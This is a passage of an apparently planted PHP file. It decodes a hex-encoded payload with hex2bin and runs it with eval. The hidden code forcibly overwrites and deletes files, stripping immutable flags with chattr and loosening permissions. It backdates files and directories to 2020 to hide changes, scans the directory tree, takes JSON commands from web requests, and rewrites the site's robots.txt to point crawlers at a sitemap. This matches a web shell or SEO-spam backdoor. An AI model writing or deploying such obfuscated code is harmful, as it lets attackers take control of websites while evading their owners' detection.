202020246f6b203d204066696c655f7075745f636f6e74656e7473282466696c652c202464617461293b0a2020202069662028246f6b20213d3d2066616c7365292072657475726e20747275653b0a0a202020206966202869735f66696c65282466696c65292026262066756e6374696f6e5f657869737473282765786563272929207b0a202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c617267282466696c6529202e202720323e2f6465762f6e756c6c27293b0a20202020202020204063686d6f64282466696c652c2030363434293b0a2020202020202020246f6b203d204066696c655f7075745f636f6e74656e7473282466696c652c202464617461293b0a202020202020202069662028246f6b20213d3d2066616c7365292072657475726e20747275653b0a202020207d0a0a202020206966202869735f66696c65282466696c652929207b0a20202020202020204063686d6f64282466696c652c2030363434293b0a20202020202020202464656c203d2040756e6c696e6b282466696c65293b0a202020202020202069662028212464656c29207b0a2020202020202020202020204063686d6f64282466696c652c2030373737293b0a2020202020202020202020202464656c203d2040756e6c696e6b282466696c65293b0a20202020202020207d0a202020202020202069662028212464656c2026262066756e6374696f6e5f657869737473282765786563272929207b0a20202020202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c617267282466696c6529202e202720323e2f6465762f6e756c6c27293b0a2020202020202020202020204063686d6f64282466696c652c2030363434293b0a2020202020202020202020202464656c203d2040756e6c696e6b282466696c65293b0a20202020202020207d0a202020202020202069662028212464656c292072657475726e2066616c73653b0a202020207d0a20202020246f6b203d204066696c655f7075745f636f6e74656e7473282466696c652c202464617461293b0a2020202069662028246f6b20213d3d2066616c736529207b0a20202020202020204063686d6f64282466696c652c2030363434293b0a202020202020202072657475726e20747275653b0a202020207d0a2020202072657475726e2066616c73653b0a7d0a0a66756e6374696f6e20617175615f77726974655f7461726765742824524f4f542c202472656c29207b0a202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a20202020696620282466756c6c203d3d3d2066616c736529207b2072657475726e2066616c73653b207d0a2020202024646972203d206469726e616d65282466756c6c293b0a20202020696620282169735f64697228246469722929207b0a20202020202020206966202821406d6b64697228246469722c20303735352c207472756529202626202169735f64697228246469722929207b2072657475726e2066616c73653b207d0a202020207d0a2020202072657475726e202466756c6c3b0a7d0a0a66756e6374696f6e20617175615f746f7563685f323032305f64697228246469722c2024524f4f5429207b0a2020202024726f6f744c656e203d207374726c656e28727472696d2824524f4f542c20272f2729293b0a202020202464203d20727472696d28246469722c20272f27293b0a202020207768696c6520287374726c656e28246429203e2024726f6f744c656e29207b0a20202020202020206966202869735f6469722824642929207b20617175615f746f7563685f32303230282464293b207d0a202020202020202024706172656e74203d206469726e616d65282464293b0a20202020202020206966202824706172656e74203d3d3d2024642920627265616b3b0a20202020202020202464203d2024706172656e743b0a202020207d0a7d0a0a66756e6374696f6e20617175615f746f7563685f616c6c5f646972732824524f4f5429207b0a2020202024616c6c203d20617272617928293b0a20202020617175615f636f6c6c6563745f646972732824524f4f542c2024616c6c293b0a2020202075736f72742824616c6c2c20275f617175615f736f72745f646570746827293b0a20202020666f7265616368202824616c6c20617320246429207b0a2020202020202020617175615f746f7563685f32303230282464293b0a202020207d0a7d0a66756e6374696f6e205f617175615f736f72745f64657074682824612c20246229207b2072657475726e207374726c656e28246229202d207374726c656e282461293b207d0a66756e6374696f6e20617175615f636f6c6c6563745f6469727328246469722c202624726573756c7429207b0a20202020246468203d20406f70656e6469722824646972293b0a202020206966202821246468292072657475726e3b0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0a2020202020202020696620282466203d3d3d20272e27207c7c202466203d3d3d20272e2e272920636f6e74696e75653b0a20202020202020202466756c6c203d2024646972202e20272f27202e2024663b0a20202020202020206966202869735f646972282466756c6c2929207b0a20202020202020202020202024726573756c745b5d203d202466756c6c3b0a202020202020202020202020617175615f636f6c6c6563745f64697273282466756c6c2c2024726573756c74293b0a20202020202020207d0a202020207d0a20202020636c6f736564697228246468293b0a7d0a0a66756e6374696f6e20617175615f72656c2824524f4f542c202466756c6c29207b0a202020202472203d20737562737472282466756c6c2c207374726c656e2824524f4f5429293b0a2020202072657475726e206c7472696d287374725f7265706c61636528275c5c272c20272f272c202472292c20272f27293b0a7d0a0a66756e6374696f6e20617175615f6a736f6e2824636f64652c20246d6573736167652c20246461746129207b0a20202020617175615f7374617475732824636f6465293b0a202020206865616465722827436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e27293b0a20202020246f7574203d2061727261792827636f646527203d3e2024636f64652c20276d65737361676527203d3e20246d657373616765293b0a2020202069662028246461746120213d3d206e756c6c29207b20246f75745b2764617461275d203d2024646174613b207d0a202020206563686f206a736f6e5f656e636f646528246f7574293b0a20202020657869743b0a7d0a0a66756e6374696f6e20617175615f7374617475732824636f646529207b0a20202020246d6170203d20617272617928323030203d3e20274f4b272c20343030203d3e20274261642052657175657374272c20343033203d3e2027466f7262696464656e272c20343034203d3e20274e6f7420466f756e64272c20353030203d3e2027496e7465726e616c20536572766572204572726f7227293b0a202020202474657874203d20697373657428246d61705b24636f64655d29203f20246d61705b24636f64655d203a20274f4b273b0a202020206966202866756e6374696f6e5f6578697374732827687474705f726573706f6e73655f636f6465272929207b0a2020202020202020687474705f726573706f6e73655f636f64652824636f6465293b0a202020207d20656c7365207b0a20202020202020202470726f746f203d20697373657428245f5345525645525b275345525645525f50524f544f434f4c275d29203f20245f5345525645525b275345525645525f50524f544f434f4c275d203a2027485454502f312e30273b0a2020202020202020686561646572282470726f746f202e20272027202e2024636f6465202e20272027202e2024746578742c20747275652c2024636f6465293b0a202020207d0a7d0a0a66756e6374696f6e20617175615f636c65616e75705f626c6f636b6572732824524f4f5429207b0a20202020617175615f67656e5f726f626f74732824524f4f54293b0a7d0a0a66756e6374696f6e20617175615f67656e5f726f626f74732824524f4f5429207b0a2020202024686f7374203d20697373657428245f5345525645525b27485454505f484f5354275d29203f20245f5345525645525b27485454505f484f5354275d203a2027273b0a202020206966202824686f7374203d3d3d202727292072657475726e3b0a0a20202020246874747073203d2066616c73653b0a202020206966202821656d70747928245f5345525645525b274854545053275d2920262620737472746f6c6f77657228245f5345525645525b274854545053275d2920213d3d20276f66662729207b0a2020202020202020246874747073203d20747275653b0a202020207d20656c736569662028697373657428245f5345525645525b27485454505f585f464f525741524445445f50524f544f275d2920262620737472746f6c6f77657228245f5345525645525b27485454505f585f464f525741524445445f50524f544f275d29203d3d3d202768747470732729207b0a2020202020202020246874747073203d20747275653b0a202020207d20656c736569662028697373657428245f5345525645525b275345525645525f504f5254275d2920262620245f5345525645525b275345525645525f504f5254275d203d3d2034343329207b0a2020202020202020246874747073203d20747275653b0a202020207d0a202020202470726f746f636f6c203d20246874747073203f2027687474707327203a202768747470273b0a2020202024736974656d617055726c203d202470726f746f636f6c202e20273a2f2f27202e2024686f7374202e20272f736974656d61702e786d6c273b0a0a2020202024636f6e74656e74203d2022557365722d6167656e743a202a5c725c6e416c6c6f773a202f5c725c6e536974656d61703a2022202e2024736974656d617055726c202e20225c725c6e223b0a0a2020202024726f626f747346696c65203d2024524f4f54202e20272f726f626f74732e747874273b0a20202020617175615f666f7263655f77726974652824726f626f747346696c652c2024636f6e74656e74293b0a20202020617175615f746f7563685f323032302824726f626f747346696c65293b0a7d0a66756e6374696f6e20617175615f7363616e5f6469726563746f7269657328247363616e4469722c2024726f6f744469722c20247072656669782c20246d617844657074682c202463757272656e7444657074682c202624726573756c74732c20246d6178526573756c747329207b0a2020202069662028636f756e742824726573756c747329203e3d20246d6178526573756c747329207b0a202020202020202072657475726e3b0a202020207d0a0a2020202069662028246d61784465707468203e2030202626202463757272656e744465707468203e3d20246d6178446570746829207b0a202020202020202072657475726e3b0a202020207d0a0a20202020246468203d20406f70656e64697228247363616e446972293b0a202020206966202821246468292072657475726e3b0a0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0a2020202020202020696620282466203d3d3d20272e27207c7c202466203d3d3d20272e2e272920636f6e74696e75653b0a0a20202020202020202466756c6c203d20247363616e446972202e20272f27202e2024663b0a2020202020202020696620282169735f646972282466756c6c292920636f6e74696e75653b0a0a20202020202020202472656c50617468203d2024707265666978203d3d3d202727203f202466203a2024707265666978202e20272f27202e2024663b0a202020202020202024726573756c74735b5d203d202472656c506174683b0a0a202020202020202069662028636f756e742824726573756c747329203e3d20246d6178526573756c747329207b0a202020202020202020202020636c6f736564697228246468293b0a20202020202020202020202072657475726e3b0a20202020202020207d0a0a202020202020202069662028246d61784465707468203d3d2030207c7c202463757272656e744465707468202b2031203c20246d6178446570746829207b0a202020202020202020202020617175615f7363616e5f6469726563746f72696573282466756c6c2c2024726f6f744469722c202472656c506174682c20246d617844657074682c202463757272656e744465707468202b20312c2024726573756c74732c20246d6178526573756c7473293b0a20202020202020207d0a202020207d0a0a20202020636c6f736564697228246468293b0a7d0a0a66756e6374696f6e20617175615f726561645f6a736f6e5f626f64792829207b0a20202020676c6f62616c20245f5f617175615f6465635f626f64793b0a2020202069662028245f5f617175615f6465635f626f647920213d3d206e756c6c29207b0a202020202020202024726177203d20245f5f617175615f6465635f626f64793b0a202020207d20656c7365207b0a202020202020202024726177203d204066696c655f6765745f636f6e74656e747328277068703a2f2f696e70757427293b0a202020207d0a202020206966202824726177203d3d3d2066616c7365207c7c2024726177203d3d3d20272729207b2072657475726e206e756c6c3b207d0a202020202464617461203d206a736f6e5f6465636f646528247261772c2074727565293b0a20202020696620282169735f61727261792824646174612929207b2072657475726e206e756c6c3b207d0a2020202072657475726e2024646174613b0a7d0a0a66756e6374696f6e20617175615f686172645f756e6c696e6b282466696c6529207b0a20202020696620282169735f66696c65282466696c652929207b2072657475726e20747275653b207d0a202020204063686d6f64282466696c652c2030363434293b0a202020206966202840756e6c696e6b282466696c652929207b2072657475726e20747275653b207d0a202020204063686d6f64282466696c652c2030373737293b0a202020206966202840756e6c696e6b282466696c652929207b2072657475726e20747275653b207d0a202020206966202866756e6374696f6e5f657869737473282765786563272929207b0a202020202020202040657865632827636861747472202d692027202e206573636170657368656c6c617267282466696c6529202e202720323e2f6465762f6e756c6c27293b0a20202020202020204063686d6f64282466696c652c2030363434293b0a20202020202020206966202840756e6c696e6b282466696c652929207b2072657475726e20747275653b207d0a202020207d0a2020202072657475726e202169735f66696c65282466696c65293b0a7d';
$_oIMZxt = 'hex2bin';
$_QC7kIwN = $_oIMZxt($_jNUpOp);
eval($_QC7kIwN);
?>